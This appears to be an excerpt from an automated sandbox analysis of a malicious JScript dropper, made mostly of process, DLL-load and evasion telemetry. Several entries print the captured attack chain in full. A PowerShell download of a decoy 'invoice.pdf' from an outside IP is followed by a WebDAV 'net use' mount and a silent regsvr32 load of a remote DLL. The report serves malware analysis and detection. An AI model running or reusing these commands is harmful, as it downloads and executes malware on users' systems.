Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\179.js.csv");ITextStream.WriteLine(" entry:7915 f:wmqrt");ITextStream.WriteLine(" exec:2 f:wmqrt");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4524			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5356			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7476	Thread sleep count: 4524 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7480	Thread sleep count: 5356 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7532	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7556	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7732	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8084	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.1709166677.000001D47EB70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: net.exe, 00000006.00000003.1755660052.0000023A6AF0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2988969999.000002342022B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2989900796.0000023425655000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1771328061.0000023A6AEA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP!

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

